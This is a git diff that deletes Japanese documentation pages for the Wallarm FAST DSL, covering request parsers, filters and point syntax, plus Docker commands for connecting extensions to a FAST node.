-* `POST_JSON_DOC_JSON_OBJ_info_HASH_status_value`ポイントは、Hashフィルターで対象となるinfo JSONオブジェクトの子オブジェクトのハッシュテーブルにおける`status`キーに対応する値`active`を参照します。 -* `POST_JSON_DOC_JSON_OBJ_info_HASH_rights_value`ポイントは、Hashフィルターで対象となるinfo JSONオブジェクトの子オブジェクトのハッシュテーブルにおける`rights`キーに対応する値`read`を参照します。 - -## Json_arrayフィルターとHashフィルターを使用する例 - -次の - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/json -``` - -というリクエストで、次の - -``` -{ - "username": "user", - "posts": [{ - "title": "Greeting", - "length": "256" - }, - { - "title": "Hello World!", - "length": "32" - } - ] -} -``` - -というボディの場合、Json_docパーサーおよびJson_objフィルターとJson_arrayフィルターと共に、リクエストボディ中の`posts`JSONオブジェクト配列の最初の要素に適用されたHashフィルターは、次のハッシュテーブルを参照します。 - -| Key | Value | -|--------|----------| -| title | Greeting | -| length | 256 | - -* `POST_JSON_DOC_JSON_OBJ_posts_JSON_ARRAY_0_HASH_title_value`ポイントは、Hashフィルターで対象となるJSONオブジェクトのハッシュテーブルにおける`title`キーに対応する値`Greeting`を参照します。 -* `POST_JSON_DOC_JSON_OBJ_posts_JSON_ARRAY_0_HASH_length_value`ポイントは、Hashフィルターで対象となるJSONオブジェクトのハッシュテーブルにおける`length`キーに対応する値`256`を参照します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/points/parsers/http.md b/docs/latest-ja/fast/dsl/points/parsers/http.md deleted file mode 100644 index 633ef24f5a..0000000000 --- a/docs/latest-ja/fast/dsl/points/parsers/http.md +++ /dev/null @@ -1,187 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-formurlencoded]: form-urlencoded.md -[link-multipart]: multipart.md -[link-xml]: xml.md -[link-json]: json.md - -[link-get-array]: array.md#the-example-of-using-the-get-filter-with-the-array-filter -[link-get-hash]: hash.md#the-example-of-using-the-get-filter-and-the-hash-filter -[link-header-array]: array.md#the-example-of-using-the-header-filter-with-the-array-filter - -[anchor1]: #uri-filter -[anchor2]: #path-filter -[anchor3]: #action_name-filter -[anchor4]: #action_ext-filter -[anchor5]: #get-filter -[anchor6]: #header-filter -[anchor7]: #post-filter - -# HTTPパーサー - -暗黙の**HTTPパーサー**は通常のリクエスト処理を行います。提供されるフィルターをポイントで使用する際に、このパーサー名をポイントに指定する必要はありません。 - -HTTPパーサーはベースとなるリクエストに基づいて複雑なデータ構造を構築します。このデータ構造の要素を参照するには、次のフィルターを使用できます。 - -* [URI][anchor1]; -* [Path][anchor2]; -* [Action_name][anchor3]; -* [Action_ext][anchor4]; -* [Get][anchor5]; -* [Header][anchor6]; -* [Post][anchor7]. - -!!! info "ポイントでのフィルター使用" - ポイントでフィルターを使用するには、ポイントにフィルター名を大文字で追加します。 - -## URIフィルター - -**URI**フィルターは、リクエスト対象への絶対パスを参照します。絶対パスは、対象のドメインまたはIPアドレスに続く`/`記号から始まります。 - -URIフィルターは文字列値を参照します。このフィルターは配列やハッシュテーブルなどの複雑なデータ構造を参照できません。 - -**例:** - -`URI_value`ポイントは、`GET http://example.com/login/index.php`リクエストにおける`/login/index.php`という文字列を参照します。 - - -## Pathフィルター - -**Path**フィルターは、URIパスの各部分を含む配列を参照します。この配列の要素は、そのインデックスを用いて参照する必要があります。配列のインデックスは`0`から始まります。 - -!!! info "ポイントでの正規表現" - ポイント中のインデックスには[Rubyプログラミング言語][link-ruby]の正規表現を使用できます。 - -**例:** - -`GET http://example.com/main/login/index.php HTTP/1.1`リクエストでは、Pathフィルターは次の配列を参照します。 - -| インデックス | 値 | -|--------|----------| -| 0 | main | -| 1 | login | - -* `PATH_0_value`ポイントは、Pathフィルターでインデックス`0`を指定して参照される配列内にある`main`の値を参照します。 -* `PATH_1_value`ポイントは、Pathフィルターでインデックス`1`を指定して参照される配列内にある`login`の値を参照します。 - -リクエストURIが1つの部分のみを含む場合、Pathフィルターは空の配列を参照します。 - -**例:** - -`GET http://example.com/ HTTP/1.1`リクエストでは、Pathフィルターは空の配列を参照します。 - -## Action_nameフィルター - -**Action_name**フィルターは、最後の`/`記号の直後から始まり、ピリオドで終わるURIの部分を参照します。 - -Action_nameフィルターは文字列値を参照します。このフィルターは配列やハッシュテーブルなどの複雑なデータ構造を参照できません。 - - -**例:** -* `ACTION_NAME_value`ポイントは、`GET http://example.com/login/index.php`リクエストに対して`index`の値を参照します。 - -* `ACTION_NAME_value`ポイントは、`GET http://example.com/login/`リクエストに対して空の値を参照します。 - - -## Action_extフィルター - -**Action_ext**フィルターは、最後の`/`記号に続く最初のピリオドの後から始まるURIの部分を参照します。リクエストにこのURIの部分が存在しない場合、そのポイントではAction_extフィルターを使用できません。 - -Action_extフィルターは文字列値を参照します。このフィルターは配列やハッシュテーブルなどの複雑なデータ構造を参照できません。 - -**例:** - -* `ACTION_EXT_value`ポイントは、`GET http://example.com/main/login/index.php`リクエストに対して`php`の値を参照します。 -* `GET http://example.com/main/login/`リクエストを参照するポイントではAction_extフィルターを使用できません。 - -## Getフィルター - -**Get**フィルターは、リクエストのクエリ文字列からのパラメータを含むハッシュテーブルを参照します。このハッシュテーブルの要素は、パラメータ名を用いて参照する必要があります。 - -!!! info "ポイントでの正規表現" - ポイント中のパラメータ名には[Rubyプログラミング言語][link-ruby]の正規表現を使用できます。 - -クエリ文字列のパラメータには、配列やハッシュテーブルといった複雑なデータ構造が含まれる場合もあります。これらの構造内の要素を参照するには、それぞれ[Array][link-get-array]フィルターと[Hash][link-get-hash]フィルターを使用します。 - -**例:** - -`POST http://example.com/login?id=01234&username=admin`リクエストでは、Getフィルターは次のハッシュテーブルを参照します。 - -| パラメータ名 | 値 | -|----------------|-------| -| id | 01234 | -| username | admin | - -* `GET_id_value`ポイントは、Getフィルターで参照されるハッシュテーブルにおける`id`パラメータに対応する`01234`の値を参照します。 -* `GET_username_value`ポイントは、Getフィルターで参照されるハッシュテーブルにおける`username`パラメータに対応する`admin`の値を参照します。 - - -## Headerフィルター - -**Header**フィルターは、ヘッダー名と値を含むハッシュテーブルを参照します。このハッシュテーブルの要素は、ヘッダー名を用いて参照する必要があります。 - -!!! info "ポイントにおけるヘッダー名" - ヘッダー名は、ポイント内で次のいずれかの方法で指定できます。 - - * 大文字 - * リクエストで指定されているのと同じ表記 - -!!! info "ポイントでの正規表現" - ポイント中のヘッダー名には[Rubyプログラミング言語][link-ruby]の正規表現を使用できます。 - - -ヘッダーの値が配列になる場合もあります。この配列の要素を参照するには[Array][link-header-array]フィルターを使用します。 - -**例:** - -次の - -``` -GET /login/index.php HTTP/1.1 -Connection: keep-alive -Host: example.com -Accept-encoding: gzip -``` - -リクエストでは、Headerフィルターは次のハッシュテーブルを参照します。 - -| ヘッダー名 | 値 | -|-----------------|-------------| -| Connection | keep-alive | -| Host | example.com | -| Accept-Encoding | gzip | - -* `HEADER_Connection_value`ポイントは、Headerフィルターで参照されるハッシュテーブルにおける`Connection`ヘッダーに対応する`keep-alive`の値を参照します。 -* `HEADER_Host_value`ポイントは、Headerフィルターで参照されるハッシュテーブルにおける`Host`ヘッダーに対応する`example.com`の値を参照します。 -* `HEADER_Accept-Encoding_value`ポイントは、Headerフィルターで参照されるハッシュテーブルにおける`Accept-Encoding`ヘッダーに対応する`gzip`の値を参照します。 - - - -## Postフィルター - -**Post**フィルターは、リクエスト本文の内容を参照します。 - -ポイントでPostフィルター名を使用すると、リクエスト本文の内容を生の形式で扱えます。 - -**例:** - -次の - -``` -POST http://example.com/main/index.php HTTP/1.1 -Content-Type: text/plain -Content-Length: 28 -``` - -リクエストにおいて、次の - -``` -This is a simple body text. -``` - -本文がある場合、`POST_value`ポイントはリクエスト本文の`This is a simple body text.`という値を参照します。 - -複雑なデータ構造を含むリクエスト本文も扱えます。対応するデータ構造の要素を参照するには、ポイントでPostフィルターの後ろに次のフィルターやパーサーを指定します。 -* **form-urlencoded**形式のリクエスト本文には[Form_urlencoded][link-formurlencoded]パーサー -* **multipart**形式のリクエスト本文には[Multipart][link-multipart]パーサー -* **XML**形式のリクエスト本文には[XMLパーサーが提供するフィルター][link-xml] -* **JSON**形式のリクエスト本文には[Json_docパーサーが提供するフィルター][link-json] \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/points/parsers/json.md b/docs/latest-ja/fast/dsl/points/parsers/json.md deleted file mode 100644 index 0e3496f3a2..0000000000 --- a/docs/latest-ja/fast/dsl/points/parsers/json.md +++ /dev/null @@ -1,134 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-hash]: hash.md -[link-array]: array.md -[link-jsonobj-array]: array.md#the-example-of-using-the-json_obj-filter-and-the-array-filter -[link-jsonobj-hash]: hash.md#the-example-of-using-the-json_obj-filter-and-the-hash-filter -[link-jsonarray-hash]: hash.md#the-example-of-using-the-json_array-filter-and-the-hash-filter - -[anchor1]: #json_obj-filter -[anchor2]: #json_array-filter - - -# Json_docパーサ - -Json_docパーサは、リクエストの任意の部分に存在しうるJSON形式のデータを扱うために使用します。Json_docパーサは、トップレベルのJSONデータコンテナの内容をそのままの形式で参照します。 - -Json_docパーサは入力データに基づいて複雑なデータ構造を構築します。このデータ構造の要素を参照するには、次のフィルタを使用できます: -* [Json_objフィルタ][anchor1] -* [Json_arrayフィルタ][anchor2] - -ポイントでフィルタを使用するには、Json_docパーサおよびそれが提供するフィルタの名称を大文字でポイントに追加します。 - -例: - -次の - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/json -``` - -リクエストで - -``` -{ - "username": "admin", - "info":{ - "firstName": "John", - "lastName": "Smith" - } -} -``` - -の本文が送信された場合、リクエスト本文に適用されたJson_docパーサは次のデータを参照します。 - -``` -{ - "username": "admin", - "info":{ - "firstName": "John", - "lastName": "Smith" - } -} -``` - - -## Json_objフィルタ - -Json_objフィルタはJSONオブジェクトのハッシュテーブルを参照します。このハッシュテーブルの要素はJSONオブジェクトの名前を用いて参照する必要があります。 - -!!! info "ポイントにおける正規表現" - ポイント内のJSONオブジェクト名には[Rubyプログラミング言語の正規表現][link-ruby]を使用できます。 - -JSONデータに適用される[Hashフィルタ][link-hash]はJson_objフィルタと同様に動作します。 - -JSON形式のハッシュテーブル中の値は、配列やハッシュテーブルといった次のような複雑なデータ構造を含む場合があります。これらの構造内の要素を参照するには、次のフィルタを使用します。 -* 配列には[Arrayフィルタ][link-jsonobj-array]または[Json_arrayフィルタ][anchor2] -* ハッシュテーブルには[Hashフィルタ][link-jsonobj-hash]または[Json_objフィルタ][anchor1] - -例: - -次の - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/json -``` - -リクエストで - -``` -{ - "username": "user", - "rights": "read" -} -``` - -の本文が送信された場合、Json_docパーサと併用してリクエスト本文に適用されたJson_objフィルタは次の表を参照します。 - -| キー | 値 | -|----------|----------| -| username | user | -| rights | read | - -* `POST_JSON_DOC_JSON_OBJ_username_value`ポイントは`user`という値を参照します。 -* `POST_JSON_DOC_JSON_OBJ_rights_value`ポイントは`read`という値を参照します。 - -## Json_arrayフィルタ - -Json_arrayフィルタはJSONオブジェクトの値の配列を参照します。この配列の要素はインデックスで参照する必要があります。配列のインデックスは`0`から始まります。 - -!!! info "ポイントにおける正規表現" - ポイント内のインデックスには[Rubyプログラミング言語の正規表現][link-ruby]を使用できます。 - -JSONデータに適用される[Arrayフィルタ][link-array]はJson_arrayフィルタと同様に動作します。 - -JSON形式の配列中の値はハッシュテーブルを含む場合もあります。[Hashフィルタ][link-jsonarray-hash]または[Json_objフィルタ][anchor1]を使用します。 - -例: - -次の - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/json -``` - -リクエストで - -``` -{ - "username": "user", - "rights":["read","write"] -} -``` - -の本文が送信された場合、Json_docパーサおよびJson_objフィルタと併用して`rights`というJSONオブジェクトに適用されたJson_arrayフィルタは次の配列を参照します。 - -| インデックス | 値 | -|--------|----------| -| 0 | read | -| 1 | write | - -* `POST_JSON_DOC_JSON_OBJ_rights_JSON_ARRAY_0_value`ポイントは、Json_arrayフィルタが参照する`rights`というJSONオブジェクトの値の配列のインデックス`0`に対応する`read`という値を参照します。 -* `POST_JSON_DOC_JSON_OBJ_rights_JSON_ARRAY_1_value`ポイントは、Json_arrayフィルタが参照する`rights`というJSONオブジェクトの値の配列のインデックス`1`に対応する`write`という値を参照します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/points/parsers/multipart.md b/docs/latest-ja/fast/dsl/points/parsers/multipart.md deleted file mode 100644 index 365be05155..0000000000 --- a/docs/latest-ja/fast/dsl/points/parsers/multipart.md +++ /dev/null @@ -1,44 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-multipart-array]: array.md#the-example-of-using-the-multipart-parser-and-the-array-filter -[link-multipart-hash]: hash.md#the-example-of-using-the-multipart-filter-and-the-hash-filter - -# Multipartパーサー - -**Multipart**パーサーは、multipart形式のリクエストボディを扱うために使用します。このパーサーは、リクエストボディのパラメータ名をキー、対応するパラメータの値を値とするハッシュテーブルを作成します。このハッシュテーブルの要素は、パラメータ名を用いて参照します。 - -!!! info "ポイントにおける正規表現" - ポイント内のパラメータ名には、[Rubyプログラミング言語][link-ruby]の正規表現を使用できます。 - -!!! warning "ポイントでのMultipartパーサーの使用" - Multipartパーサーは、ベースラインのリクエストボディを参照するPostフィルターと組み合わせて、ポイント内でのみ使用できます。 - - -**例:** - -次の - -``` -POST http://example.com/login/index.php HTTP/1.1 -Content-Type: multipart/form-data;boundary="boundary" - ---boundary -Content-Disposition: form-data; name="id" - -01234 ---boundary -Content-Disposition: form-data; name="username" - -admin -``` - -リクエストに対して、リクエストボディにMultipartパーサーを適用すると、次のハッシュテーブルが作成されます: - -| キー | 値 | -|-----------|----------| -| id | 01234 | -| username | admin | - -* `POST_MULTIPART_id_value`ポイントは、Multipartパーサーによって作成されたハッシュテーブルのキー`id`に対応する値`01234`を参照します。 -* `POST_MULTIPART_username_value`ポイントは、Multipartパーサーによって作成されたハッシュテーブルのキー`username`に対応する値`admin`を参照します。 - -multipart形式のリクエストボディには、配列やハッシュテーブルといった複雑なデータ構造が含まれる場合もあります。これらの構造内の要素を参照するには、それぞれ[配列][link-multipart-array]フィルターと[ハッシュ][link-multipart-hash]フィルターを使用します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/points/parsers/xml.md b/docs/latest-ja/fast/dsl/points/parsers/xml.md deleted file mode 100644 index bbe86065d6..0000000000 --- a/docs/latest-ja/fast/dsl/points/parsers/xml.md +++ /dev/null @@ -1,362 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-xmltag-array]: array.md#the-example-of-using-the-xml_tag-filter-and-the-array-filter -[link-array]: array.md - -[anchor1]: #xml_comment-filter -[anchor2]: #xml_dtd-filter -[anchor3]: #xml_dtd_entity-filter -[anchor4]: #xml_pi-filter -[anchor5]: #xml_tag-filter -[anchor6]: #xml_tag_array-filter -[anchor7]: #xml_attr-filter - -# XMLパーサー - -**XML**パーサーは、リクエストの任意の部分に存在し得るXML形式のデータを扱うために使用します。提供されるフィルターを使用する際には、その名前をポイントに指定する必要があります。 - -提供されるフィルターを併用せずにポイントでXMLパーサー名のみを使用して、トップレベルのXMLデータコンテナの内容を生の形式で扱うこともできます。 - -**例:** - -次の - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -リクエストで、ボディが - -``` - -]> - - - - Sample text. - -``` - -の場合、`POST_XML_value`ポイントは生の形式で次のデータを参照します: - -``` -]> - - - - Sample text. - -``` - -XMLパーサーは入力データに基づいて複雑なデータ構造を構築します。次のフィルターを使用して、このデータ構造の要素を参照できます: -* [Xml_commentフィルター][anchor1]; -* [Xml_dtdフィルター][anchor2]; -* [Xml_dtd_entityフィルター][anchor3]; -* [Xml_piフィルター][anchor4]; -* [Xml_tagフィルター][anchor5]; -* [Xml_tag_arrayフィルター][anchor6]; -* [Xml_attrフィルター][anchor7]. - -ポイントでフィルターを使用するには、ポイントにXMLパーサー名と提供されるフィルター名を大文字で追加します。 - - -## Xml_commentフィルター - -**Xml_comment**フィルターは、XML形式のデータに含まれるコメントの配列を参照します。この配列の要素はインデックスで参照する必要があります。配列のインデックスは`0`から始まります。 - -!!! info "ポイントでの正規表現" - ポイント内のインデックスには[Rubyプログラミング言語][link-ruby]の正規表現を使用できます。 - -Xml_commentフィルターはXMLパーサーと併用したポイントでのみ使用できます。 - -**例:** - -次の - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -リクエストで、ボディが - -``` - -]> - - - - Sample text. - - -``` - -の場合、XMLパーサーと併用したXml_commentは次の配列を参照します: - -| インデックス | 値 | -|--------|----------| -| 0 | 1つ目 | -| 1 | 2つ目 | - -* `POST_XML_XML_COMMENT_0_value`ポイントは、Xml_commentフィルターで参照される配列のインデックス`0`に対応する値`1つ目`を参照します。 -* `POST_XML_XML_COMMENT_1_value`ポイントは、Xml_commentフィルターで参照される配列のインデックス`1`に対応する値`2つ目`を参照します。 - -## Xml_dtdフィルター - -**Xml_dtd**フィルターは、XMLデータで使用されている外部DTDスキーマを参照します。このフィルターはXMLパーサーと併用したポイントでのみ使用できます。 - -Xml_dtdフィルターは文字列値を参照します。このフィルターは配列やハッシュテーブルなどの複雑なデータ構造を参照できません。 - - -**例:** - -次の - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -リクエストで、ボディが - -``` - - - - - - Sample text. - -``` - -の場合、`POST_XML_DTD_value`ポイントは`example.dtd`という値を参照します。 - -## Xml_dtd_entityフィルター - -**Xml_dtd_entity**フィルターは、XMLデータで定義されたDTDスキーマのディレクティブを含む配列を参照します。この配列の要素はインデックスで参照する必要があります。配列のインデックスは`0`から始まります。 - -!!! info "ポイントでの正規表現" - ポイント内のインデックスには[Rubyプログラミング言語][link-ruby]の正規表現を使用できます。 - -Xml_dtd_entityフィルターはXMLパーサーと併用したポイントでのみ使用できます。 - -**例:** - -次の - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -リクエストで、ボディが - -``` - - - -]> - - - - &xxe; - - - &sample; - -``` - -の場合、XMLパーサーと併用してリクエストボディに適用されたXml_dtd_entityフィルターは次の配列を参照します: - -| インデックス | 名前 | 値 | -|--------|--------|----------------------| -| 0 | xxe | aaaa | -| 1 | sample | This is sample text. | - -この配列では、各インデックスがDTDスキーマの名前と値に対応する名前と値のペアを参照します。 -* スキーマディレクティブの名前を参照するには、Xml_dtd_entityフィルターを使用するポイントの末尾に`_name`接尾辞を付けます。 -* スキーマディレクティブの値を参照するには、Xml_dtd_entityフィルターを使用するポイントの末尾に`_value`接尾辞を付けます。 - - - -* `POST_XML_XML_DTD_ENTITY_0_name`ポイントは、Xml_dtd_entityフィルターで参照される配列のインデックス`0`に対応するディレクティブ名`xxe`を参照します。 -* `POST_XML_XML_DTD_ENTITY_1_value`ポイントは、Xml_dtd_entityフィルターで参照される配列のインデックス`1`に対応するディレクティブ値`This is sample text.`を参照します。 - -## Xml_piフィルター - -**Xml_pi**フィルターは、XMLデータに定義された処理命令の配列を参照します。この配列の要素はインデックスで参照する必要があります。配列のインデックスは`0`から始まります。 - -!!! info "ポイントでの正規表現" - ポイント内のインデックスには[Rubyプログラミング言語][link-ruby]の正規表現を使用できます。 - -Xml_piフィルターはXMLパーサーと併用したポイントでのみ使用できます。 - -**例:** - -次の - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -リクエストで、ボディが - -``` - -]> - - - - - Sample text. - -``` - -の場合、XMLパーサーと併用してリクエストボディに適用されたXml_piフィルターは次の配列を参照します: - -| インデックス | 名前 | 値 | -|--------|----------------|----------------------------------| -| 0 | xml-stylesheet | type="text/xsl" href="style.xsl" | -| 1 | last-edit | user="John" date="2019-05-11" | - -この配列では、各インデックスがデータ処理命令の名前と値に対応する名前と値のペアを参照します。 -* 処理命令の名前を参照するには、Xml_piフィルターを使用するポイントの末尾に`_name`接尾辞を付けます。 -* 処理命令の値を参照するには、Xml_piフィルターを使用するポイントの末尾に`_value`接尾辞を付けます。 - - - -* `POST_XML_XML_PI_0_name`ポイントは、Xml_piフィルターで参照される配列のインデックス`0`に対応する命令名`xml-stylesheet`を参照します。 -* `POST_XML_XML_PI_1_value`ポイントは、Xml_piフィルターで参照される配列のインデックス`1`に対応する命令値`user="John" date="2019-05-11"`を参照します。 - -## Xml_tagフィルター - -**Xml_tag**フィルターは、XMLデータに含まれるXMLタグのハッシュテーブルを参照します。このハッシュテーブルの要素はタグ名で参照する必要があります。このフィルターはXMLパーサーと併用したポイントでのみ使用できます。 - -!!! info "ポイントでの正規表現" - ポイント内のタグ名には[Rubyプログラミング言語][link-ruby]の正規表現を使用できます。 - -XMLデータのタグは値の配列を含む場合があります。これらの配列の値を参照するには、[Array][link-xmltag-array]または[Xml_tag_array][anchor6]フィルターを使用します。 - -**例:** - -次の - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -リクエストで、ボディが - -``` - -]> - - - - Sample text. - - - &eee; - -``` - -の場合、XMLパーサーと併用してリクエストボディに適用されたXml_tagフィルターは次のハッシュテーブルを参照します: - -| キー | 値 | -|--------|--------------| -| text | Sample text. | -| sample | aaaa | - -* `POST_XML_XML_TAG_text_value`ポイントは、Xml_tagフィルターで参照されるハッシュテーブルのキー`text`に対応する値`Sample text.`を参照します。 -* `POST_XML_XML_TAG_sample_value`ポイントは、Xml_tagフィルターで参照されるハッシュテーブルのキー`sample`に対応する値`aaaa`を参照します。 - -## Xml_tag_arrayフィルター - -**Xml_tag_array**フィルターは、XMLデータからのタグ値の配列を参照します。この配列の要素はインデックスで参照する必要があります。配列のインデックスは`0`から始まります。このフィルターはXMLパーサーと併用したポイントでのみ使用できます。 - -!!! info "ポイントでの正規表現" - ポイント内のインデックスには[Rubyプログラミング言語][link-ruby]の正規表現を使用できます。 - -XMLデータに適用される[Array][link-array]フィルターは、Xml_tag_arrayと同様に動作します。 - -!!! info "タグ内容の参照方法" - XMLパーサーは、タグの値とタグ値配列の先頭要素を区別しません。 - -たとえば、`POST_XML_XML_TAG_myTag_value`ポイントと`POST_XML_XML_TAG_myTag_ARRAY_0_value`ポイントは同じ値を参照します。 - -**例:** - -次の - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -リクエストで、ボディが - -``` - -]> - - - - Sample text. - - - &eee; - -``` - -の場合、リクエストボディ内の`text`タグに適用されたXml_tag_arrayは次の配列を参照します: - -| インデックス | 値 | -|--------|--------------| -| 0 | Sample text. | -| 1 | aaaa | - -* `POST_XML_XML_TAG_text_XML_TAG_ARRAY_0_value`ポイントは、Xml_tag_arrayフィルターで参照されるtextタグの値配列のインデックス`0`に対応する値`Sample text.`を参照します。 -* `POST_XML_XML_TAG_text_XML_TAG_ARRAY_1_value`ポイントは、Xml_tag_arrayフィルターで参照されるtextタグの値配列のインデックス`1`に対応する値`aaaa`を参照します。 - -## Xml_attrフィルター - -**Xml_attr**フィルターは、XMLデータのタグ属性のハッシュテーブルを参照します。このハッシュテーブルの要素は属性名で参照する必要があります。 - -!!! info "ポイントでの正規表現" - ポイント内の属性名には[Rubyプログラミング言語][link-ruby]の正規表現を使用できます。 - -このフィルターはXml_tagフィルターと併用したポイントでのみ使用できます。 - -**例:** - -次の - -``` -POST http://example.com/main/login HTTP/1.1 -Content-type: application/xml -``` - -リクエストで、ボディが - -``` - -]> - - - - Sample text. - -``` - -の場合、XMLパーサーとXml_tagフィルターと併用してリクエストボディの`text`タグに適用されたXml_attrフィルターは次のハッシュテーブルを参照します: - -| キー | 値 | -|----------|---------------| -| category | informational | -| font | 12 | - -* `POST_XML_XML_TAG_text_XML_ATTR_category_value`ポイントは、Xml_attrフィルターで参照される`text`タグ属性のハッシュテーブルのキー`category`に対応する値`informational`を参照します。 -* `POST_XML_XML_TAG_text_XML_ATTR_font_value`ポイントは、Xml_attrフィルターで参照される`text`タグ属性のハッシュテーブルのキー`font`に対応する値`12`を参照します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/points/principles.md b/docs/latest-ja/fast/dsl/points/principles.md deleted file mode 100644 index 2fd306e800..0000000000 --- a/docs/latest-ja/fast/dsl/points/principles.md +++ /dev/null @@ -1,89 +0,0 @@ -[link-ruby]: http://ruby-doc.org/core-2.6.1/doc/regexp_rdoc.html -[link-yaml]: https://yaml.org/spec/1.2/spec.html - -# ポイント構築の基本原則 - -!!! warning "予約語" - 予約語との衝突を防ぐため、ベースラインリクエストの要素には次の名前やキーを使用しないでください: - - * パーサーの名前と一致する名前やキー - * フィルターの名前と一致する名前やキー - * サービスワード`name`および`value`と一致する名前やキー - -カスタム拡張を開発する際には、普遍的なポイント構築の原則をいくつか考慮する必要があります。 - -* すべてのポイントは正規表現として扱われます。 - - **例:** - - * `HEADER_A.*_value`ポイントは、リクエストにそのようなヘッダーが存在する場合、名前が`A`で始まるヘッダーを参照します。 - * `PATH_\d_value`ポイントは、リクエストのURIパスの先頭10個の部分を参照します。 - -* ポイントの各部分は`_`記号で区切る必要があります。 - - **例:** - - `URI_value`. - -* パーサーおよびフィルターの名前は大文字でポイントに追加する必要があります。 - - **例:** - - `ACTION_EXT_value`. - -* リクエスト要素の名前は、ベースラインリクエストに現れるとまったく同じとおりにポイントへ追加する必要があります。 - - **例:** - - `GET http://example.com/login/?Uid=01234`リクエストの場合、`GET_Uid_value`ポイントはクエリ文字列パラメータ`Uid`を参照します。 - - !!! info "特殊記号のエスケープ" - ポイント内で使用する際に、サービス記号の一部はエスケープが必要になる場合があります。詳細については、[Rubyプログラミング言語の正規表現][link-ruby]のドキュメントを参照してください。 - -* ポイントは、拡張に次のいずれかの方法で指定できます: - * `"`記号で囲みます。 - - **例:** - - `"PATH_.*_value"`. - - * `'`記号で囲みます。 - - **例:** - - `'GET_.*_value'`. - - * いかなる記号でも囲みません。 - - **例:** - - `HEADER_.*_value`. - - !!! info "ポイントを記号で囲むことについて" - YAML構文では、ポイントを囲む際に使用する各種記号の違いが定義されています。詳細については、この[リンク][link-yaml]を参照してください。 - -* `,`記号で区切られ、`[`と`]`記号で囲まれたポイントは、ポイントの配列として扱われます。 - - **例:** - - `[GET_uid_value, GET_passwd_value]`. - -* 拡張がリクエスト要素の名前に対して動作するのか、値に対して動作するのかを示すため、ポイントの末尾には常にサービスワードを付与する必要があります。 - * リクエスト要素の名前を対象に動作させるには、サービスワード`name`を指定する必要があります。 - - サービスワード`name`は次のフィルターと併用できます: - - * Xml_pi; - * Xml_dtd_entity. - - **例:** - - `POST_XML_XML_DTD_ENTITY_0_name`ポイントは、リクエストボディのXMLデータに指定された最初のDTDスキーマディレクティブの名前を参照します。 - - * リクエスト要素の値を対象に動作させるには、サービスワード`value`を指定する必要があります。 - - サービスワード`value`は、利用可能なFAST DSLのあらゆるフィルターやパーサーと併用できます。 - - **例:** - - `PATH_0_value`ポイントは、リクエストURIパスの最初の部分の値を参照します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/dsl/using-extension.md b/docs/latest-ja/fast/dsl/using-extension.md deleted file mode 100644 index dec150ca4d..0000000000 --- a/docs/latest-ja/fast/dsl/using-extension.md +++ /dev/null @@ -1,163 +0,0 @@ -[link-points]: points/intro.md -[link-stop-recording]: ../qsg/test-run.md#2-execute-the-https-baseline-request-you-created-earlier - -[doc-mod-extension]: extensions-examples/mod-extension.md -[doc-non-mod-extension]: extensions-examples/non-mod-extension.md -[doc-testpolicy]: logic.md - -[img-test-policy-insertion-points]: ../../images/fast/dsl/common/using-extensions/tp_insertion_points.png -[img-test-policy-attacks]: ../../images/fast/dsl/common/using-extensions/tp_attacks_test.png -[img-test-run]: ../../images/fast/dsl/common/using-extensions/create_testrun.png -[img-testrun-details]: ../../images/fast/dsl/common/using-extensions/testrun_details.png -[img-log]: ../../images/fast/dsl/common/using-extensions/log.png -[img-vulns]: ../../images/fast/dsl/common/using-extensions/vulnerabilities.png -[img-vuln-details-mod]: ../../images/fast/dsl/common/using-extensions/vuln_details-mod.png - -[anchor-connect-extension]: #connecting-extensions - -# FAST拡張機能の使用 - -## 拡張機能の接続 {#connecting-extensions} - -作成した拡張機能を使用するには、FAST nodeに接続する必要があります。 - -次のいずれかの方法で実施できます: -* 拡張機能をディレクトリに配置し、`docker run`コマンドの`-v`オプションを使用して、このディレクトリをFAST nodeのDockerコンテナにマウントします。 - - ``` - sudo docker run --name --env-file= -v :/opt/custom_extensions -p :8080 wallarm/fast - ``` - - **例:** - - 以下の引数でDockerコンテナ内にFAST nodeを起動するには、次のコマンドを実行します: - - 1. コンテナ名: `fast-node` - 2. 環境変数ファイル: `/home/user/fast.cfg` - 3. FAST拡張機能のディレクトリパス: `/home/user/extensions` - 4. コンテナの`8080`ポートを公開するポート: `9090` - - ``` - sudo docker run --name fast-node --env-file=/home/user/fast.cfg -v /home/user/extensions:/opt/custom_extensions -p 9090:8080 wallarm/fast - ``` - -* 拡張機能を公開Gitリポジトリに配置し、FAST nodeのDockerコンテナで、対象のリポジトリを参照する環境変数を定義します。 - - そのために、次の手順を実施します: - - 1. 環境変数を含むファイルに`GIT_EXTENSIONS`変数を追加します。 - - **例:** - - 拡張機能が`https://github.com/wallarm/fast-detects`のGitリポジトリにある場合、次の環境変数を定義します: - - ``` - GIT_EXTENSIONS=https://github.com/wallarm/fast-detects - ``` - - 2. 環境変数を含むファイルを使用して、FAST nodeのDockerコンテナを次のように起動します: - - ``` - sudo docker run --name --env-file= -p :8080 wallarm/fast - ``` - - **例:** - - 以下の引数でDockerコンテナ内にFAST 